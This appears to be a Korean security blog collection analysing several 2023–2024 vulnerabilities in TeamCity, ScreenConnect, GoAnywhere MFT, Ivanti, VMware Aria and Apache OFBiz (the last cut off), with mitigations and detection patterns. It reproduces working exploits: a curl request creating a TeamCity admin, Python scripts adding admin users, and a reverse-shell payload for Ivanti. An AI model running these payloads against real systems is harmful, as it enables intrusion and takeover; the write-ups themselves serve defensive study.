1.TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

2. 취약점

2.1 CVE-2024-27198

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198 [1]

 

- 원격의 공격자가 관리자 권한을 획득할 수 있는 인증 우회 취약점 (CVSS: 9.8)

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

-  jetbrains.buildServer.controller.BaseController 클래스가 특정 요청을 처리하는 방식에의해 발생 [2]

> 클래스의 handleRequestInternal 메서드로 요청을 서비스할 때 리다이렉션이 발생하지 않으면, updateViewIfRequestHasJspParameter 메서드 호출

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
    // ...snip...

 

- updateViewIfRequestHasJspParameter 메서드의 isControllerRequestWithViewName 변수는 아래 조건으로 설정됨

> ① 현재 모델 AndView 모두 이름이 있고 ② 현재 요청의 servlet 경로가 .jsp로 끝나지 않으면 true로 설정

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

 

- 다음으로 getJspFromRequest 메서드 호출되며, 호출의 결과값이 ModelAndView.setViewName 메서드로 전달

> ① jsp로 문자열이 끝나는지 ② admin/ 문자열을 포함하지 않는지 확인

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

 

- 공격자는 /app/rest/server URL과 3 가지 조건을 설정해 공격을 수행

① 404 응답을 생성하는 인증되지 않은 리소스 요청 Ex. /hax

② 인증된 URI 경로의 값이 포함된 jsp 매개변수 전달 Ex. ?jsp=/app/rest/server

③ 임의의 URI 경로가 .jsp로 끝나도록 지정 Ex. ;.jsp

Exploit URL: /hax?jsp=/app/rest/server;.jsp
========================================
관리자 계정 생성 Exploit
C:\Users\sfewer>curl -ik hxxp://IP/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

 

2.2 CVE-2024-27199

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-27199 [3]

 

- 원격의 공격자가 관리자 작업을 수행할 수 있는 경로 탐색 취약점

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

- 다음 세 경로에 대해 인증 과정이 적용되지 않음 [4]

① /res/
② /update/
③ /.well-known/acme-challenge/

 

- 공격자는 위 세 경로를 이용해 인증을 우회하여 서버의 정보 등을 획득할 수 있음

C:\Users\sfewer>curl -ik --path-as-is hxxp://IP/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

 

3. 대응방안

- 최신버전 업데이트 적용 [5]

- 비인가 관리자 계정 생성, 시스템 설정 변경 등 점검

- 탐지 패턴 등록 및 모니터링

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198
[2] https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-27199
[4] https://attackerkb.com/topics/ADUie1mrpK/cve-2024-27199/rapid7-analysis
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71360&menuNo=205020
[6] https://www.boannews.com/media/view.asp?idx=127389&page=1&kind=4

1. ConnectWise ScreenConnect

- 원격 데스크톱 소프트웨어 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-1709 [2]

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> PoC 공개 이후 활발한 공격이 시작되어 시급한 패치 적용이 필요

> 악용에 성공한 공격자는 경로 탐색 취약점을 이용해 원격 코드 실행 가능 (CVE-2024-1708) [3]

영향받는 버전: ConnectWise ScreenConnect 23.9.8 이전 버전

 

2.1 취약점 상세 [4][5]

- Shodan 검색시 약 8,500개의 ConnectWise ScreenConnect 확인

[사진 2] Shodan 검색 화면

 

- SetupModule.cs에는 2 가지 HTTP 필터가 존재

응용 프로그램이 설정되지 않은 경우 모든 요청을 SetupWizard.aspx로 리디렉션

② 응용 프로그램이 설정된 경우 SetupWizard.aspx에 대한 요청을 거부하거나 Administration.aspx로 리디렉션

※ SetupWizard는 초기 사용자와 암호를 생성하는 역할

[사진 3] SetupModule.cs

 

- [사진 3]에서 요청 URL이 SetupWizard.aspx인지 확인하기 위해 string.Equals() 사용

> 요청 URL이 "~/SetupWizard.aspx"인 경우 True

> 하지만, 요청 URL이 "~/SetupWizard.aspx/"인 경우 False

> SetupWizard.aspx에 단순히 "/"만 추가하여도 이미 설치된 후에도 설정 마법사에 액세스할 수 있음

[사진 4] 인증 우회 및 설정 마법사 액세스

 

[사진 5] string.Equals() 결과 비교

 

2.2 CVE-2024-1708

[사진 6] https://nvd.nist.gov/vuln/detail/CVE-2024-1708

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 경로 탐색 취약점

> 영향받는 버전 상동

> 구체적인 내용은 확인되지 않으나, ZipSlip 공격을 이용한 것으로 판단

 

※ ZipSlip [6]

- 경로 탐색 구문이 포함된 압축 파일을 실행할 때 공격자가 의도한 경로로 원하는 파일을 이동시키는 공격 방법

 

2.3 PoC [7]

- /SetupWizard.aspx/ URL을 이용해 임의의 사용자 계정 생성

※ CVE-2024-1708 PoC는 확인하지 못함 (아래 공격 시연 유튜브 영상 참고)

import requests
import re
import argparse

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchtowr-vs-ConnectWise_2024-02-21.py
          - Sonny, watchTowr (sonny@watchTowr.com)
        """

helptext =  """
            Example Usage:
          - python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

			 """

parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", help="target url in the format https://localhost", default=False, action="store", required=True)
parser.add_argument("--username", help="username to add", required=False, action="store")
parser.add_argument("--password", help="password to add (must be at least 8 characters in length)", required=False, action="store")
try:
    args = parser.parse_args()
except:
    print(banner)
    print(helptext)
    raise

print(banner)


requests.urllib3.disable_warnings()


print(f"[*] Target Server: {args.url} ")
print(f"[*] Adding Username: {args.username} ")
print(f"[*] Adding Password: {args.password} ")

initial_request = requests.get(url=args.url+"/SetupWizard.aspx/",verify=False)

viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)

next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1, "__VIEWSTATEGENERATOR": viewgen_1, "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
next_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=next_data, verify=False)

exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
exploit_viewgen =  re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": args.username, "ctl00$Main$wizard$emailBox": args.username+"@poc.com", "ctl00$Main$wizard$passwordBox": args.password, "ctl00$Main$wizard$verifyPasswordBox": args.password, "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}

exploit_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=exploit_data, verify=False)

print(f"[*] Successfully added user")

 

[영상 1] 공격 시연 [8]

 

3. 대응방안

- 벤더사 제공 최신 버전 업데이트 적용 [9]

> 초기 설정이 완료된 경우 SetupWizard에 접근하지 못하도록 변경(접근시 "Already setup"를 출력하는 것으로 판단됨)

> ZIP 파일 콘텐츠를 추출할 때 더욱 엄격한 경로 유효성 검사를 수행하도록 변경

취약점 영향받는 버전 해결 버전
CVE-2024-1709 ConnectWise ScreenConnect 23.9.7 및 이전 버전 23.9.8
CVE-2024-1708

 

- /SetupWizard.aspx/ 탐지 패턴 적용

 

4. 참고

[1] https://screenconnect.connectwise.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-1709
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-1708
[4] https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
[5] https://www.horizon3.ai/attack-research/red-team/connectwise-screenconnect-auth-bypass-deep-dive/
[6] https://www.hahwul.com/cullinan/zip-slip/
[7] https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/main/watchtowr-vs-ConnectWise_2024-02-21.py
[8] https://www.youtube.com/watch?v=AWGoGO5jnvY&t=13s
[9] https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
[10] https://www.rapid7.com/blog/post/2024/02/20/etr-high-risk-vulnerabilities-in-connectwise-screenconnect/
[11] https://www.bleepingcomputer.com/news/security/screenconnect-critical-bug-now-under-attack-as-exploit-code-emerges/
[12] https://www.boannews.com/media/view.asp?idx=126959&page=1&kind=1

1. GoAnywhere MFT [1]

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-0204 [1]

 

- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함

영향받는 버전 [3]
① Fortra GoAnywhere MFT 6.x (6.0.1 이상)
② Fortra GoAnywhere MFT 7.x (7.4.1 이전)

 

2.1 취약점 상세 [4]

- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성

 

[사진 2] 설치 중 관리자 계정 추가

 

- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생

> 관리자 계정이 생성되었기 때문

> /Dashboard.xhtml 엔드포인트로 리디렉션

> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션

 

- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출

> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행

> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인

① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션
② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션

 

[사진 3]&nbsp; /wizard/InitialAccountSetup.xhtml 관련 명시적 코드

 

- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용

> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]

> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행

hxxps://[Target IP]/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml

 

[사진 4] 관리자 계정 생성 페이지 (좌) 및 관리자 계정 생성 (우)

 

2.2 PoC [7]

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml URL로 GET 요청 전송

import requests
from bs4 import BeautifulSoup
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def validate_password(password):
    if len(password) < 8:
        raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
    return password

def main():
    parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
    parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("username", help="New admin username")
    parser.add_argument("password", help="New admin password", type=validate_password)
    args = parser.parse_args()
    url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    data = {
        "j_id_u:creteAdminGrid:username": args.username,
        "j_id_u:creteAdminGrid:password_hinput": args.password,
        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:submitButton": "",
        "createAdminForm_SUBMIT": 1,
    }

    s = requests.session()
    r = s.get(url, verify=False)
    if r.status_code == 401:
        raise Exception("Endpoint does not appear to be vulnerable.")

    soup = BeautifulSoup(r.text, "html.parser")
    input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
    data['javax.faces.ViewState'] = input_field['value']
    r = s.post(url, verify=False, data=data)

    if r.status_code != 200:
        raise Exception("Failed to create new admin user")

    soup = BeautifulSoup(r.text, "html.parser")
    error_message = soup.find("span", {"class": "ui-messages-error-summary"})
    if error_message is not None:
        raise Exception(error_message.text)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 : Fortra GoAnywhere MFT 7.4.1 이상 [8]

> 벤더사 권고 추가 해결 방안

① 비컨테이너 배포 인스턴스의 경우 설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 삭제하고 서비스 다시 시작

② 컨테이너 배포 인스턴스의 경우설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 빈 파일로 바꾸고 서비스 다시 시작

 

- 관리자 계정 목록 검토

> GoAnywhere administrator portal Users -> Admin Users 검토

> 또는, \GoAnywhere\userdata\database\goAnywhere\log\*.log 로그 검토

※ 해당 로그는 DB의 트랜잭션 기록이 포함되어 있으며, 사용자 추가시 관련 로그가 기록됨

 

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 탐지 패턴 적용

 

4. 참고

[1] https://www.goanywhere.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0204
[3] https://www.fortra.com/security/advisory/fi-2024-001
[4] https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
[5] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal
[6] https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
[7] https://github.com/horizon3ai/CVE-2024-0204
[8] https://www.kroll.com/en/insights/publications/cyber/authentication-bypass-in-fortra-goanywhere-mft
[9] https://cybersecuritynews.com/goanywhere-mft-bypass/amp/
[10] https://www.upguard.com/blog/goanywhere-cve-2024
[11] https://www.helpnetsecurity.com/2024/01/24/poc-cve-2024-0204/
[12] https://socprime.com/blog/cve-2024-0204-detection-critical-vulnerability-in-fortra-goanywhere-mft-resulting-in-authentication-bypass/
[13] https://www.boannews.com/media/view.asp?idx=126043&page=1&kind=1

1. Ivanti [1]

- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산

 

2. 취약점

- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]

 

2.1 CVE-2023-46805

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46805 [4]

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점

> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음

> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

 

- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]

> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음

> 이후 해당 요청은 Python 백엔드 REST 서버로 전달

// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
  // ...snip...
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1; // <---
  }
  // ...go on and enforce authentication...

 

- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능

> /api/v1/system/system-information에 접근해 시스템 정보를 반환

> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능

$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297

{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}

 

2.1.1 CVE-2024-21887

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21887 [6]

 

- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)

> 영향받는 버전은 CVE-2023-46805과 동일

 

- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용

> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리

> 두 취약점 악용을 위한 PoC 존재 [7]

class License(Resource):
    """
    Handles requests that are coming for licensing APIs
    For now the only API is license/auth-code
    """

    # ...snip...

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name, # <---
                    shell=True,
                    stdout=subprocess.PIPE,
                )

 

- 아래 명령을 인코딩하여 페이로드 전송

Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]

 

[사진 3] 익스플로잇 결과

 

2.2 CVE-2023-35082

[사진 4] https://nvd.nist.gov/vuln/detail/CVE-2023-35082 [8]

 

- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능

> CVE-2023-35078

영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하

 

- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]

API 설명
/mifs/asfV3/api/v2/ping API 버전
/mifs/asfV3/api/v2/admins/users 사용자 정보

 

[사진 5] 익스플로잇 결과

3. 대응방안

- 벤더사 제공 업데이트 제공 [11][12]

> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]

※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]

> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]

취약점 제품명 영향받는 버전 해결 버전
CVE-2023-46805 Ivanti Connect Secure
Ivanti Policy Secure
9.x
22.x
-
CVE-2024-21887
CVE-2023-35082 EPMM (Ivanti Endpoint Manager Mobile) 11.8 ~ 11.10 11.11.0.0
MobileIron Core 11.7 이하

 

- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]

 

- 탐지 패턴 적용

취약점 패턴
CVE-2023-46805 api/v1/totp/user-backup-code
CVE-2024-21887
CVE-2023-35082 mifs/asfV3/api/v2

 

4. 참고

[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1

[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1

1. Aria Automation [1]

- 클라우드 환경에서 애플리케이션을 구축하고 관리할 수 있는 자동화 플랫폼

- 사용자가 지정한 리소스를 퍼블릭·프라이빗 클라우드에 배포하는 기능을 담당

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34063 [2]

 

- 취약한 버전의 Aria Automation에 접근 제어가 누락되어 발생하는 취약점 (CVSS: 9.9)

> 공격자는 취약점을 악용해 원격 조직 및 작업 흐름에 대한 무단 액세스가 가능

> 현재 공격에 악용되었다는 증거는 없으나, 최대한 빠른 패치를 권고

> CISA는 해당 취약점에 대한 경고를 발행 [3]

영향받는 버전
① VMware Aria Automation(이전 vRealize Automation) 8.14.x, 8.13.x, 8.12.x, 8.11.x 버전
② VMware Cloud Foundation(Aria Automation) 5.x, 4.x 버전 

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

제품명 영향받는 버전 해결 버전
VMware Aria Automation 8.14.x 8.14.1+
8.13.x 8.13.1+
8.12.x 8.12.2+
8.11.x 8.11.2+
VMware Cloud Foundation(Aria Automation) 5.x, 4.x KB96136

 

4.참고

[1] https://www.vmware.com/kr/products/aria-automation.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34063
[3] https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
[4] https://www.vmware.com/security/advisories/VMSA-2024-0001.html
[5] https://kb.vmware.com/s/article/96098
[6] https://kb.vmware.com/s/article/96136
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71298&menuNo=205020
[8] https://socradar.io/patches-available-for-a-critical-vulnerability-in-vmware-aria-automation-cve-2023-34063/
[9] https://github.com/advisories/GHSA-fcww-v4hr-rgfr
[10] https://thehackernews.com/2024/01/citrix-vmware-and-atlassian-hit-with.html
[11] https://www.securityweek.com/vmware-urges-customers-to-patch-critical-aria-automation-vulnerability/
[12] https://securityonline.info/cve-2023-34063-cvss-9-9-a-critical-flaw-in-vmware-aria-automation/
[13] https://www.boannews.com/media/view.asp?idx=125955&page=2&kind=1

1. Apache OfBiz [1]

- 오픈 소스 ERP(Enterprise Resource Planning) 시스템

- ERP(Enterprise Resource Planning, 전사적자원관리 ) : 재고, 회계, 인사, 급여 등 기업의 모든 업무를 통합해 관리할 수 있는 시스템

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-51467 [2]

 

- 로그인 기능에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> CVE-2023-49070에 대한 불완전한 패치로 인한 인증 우회 취약점

> 취약점을 악용에 성공한 공격자는 SSRF 공격을 수행할 수 있게 됨

영향받는 버전
- Apache OFbiz 18.12.11 이전 버전

 

CVE-2023-49070 [3]
- 인증되지 않은 공격자가 인증 과정을 우회하여 원격 명령을 실행할 수 있게되는 취약점 (CVSS: 9.8)
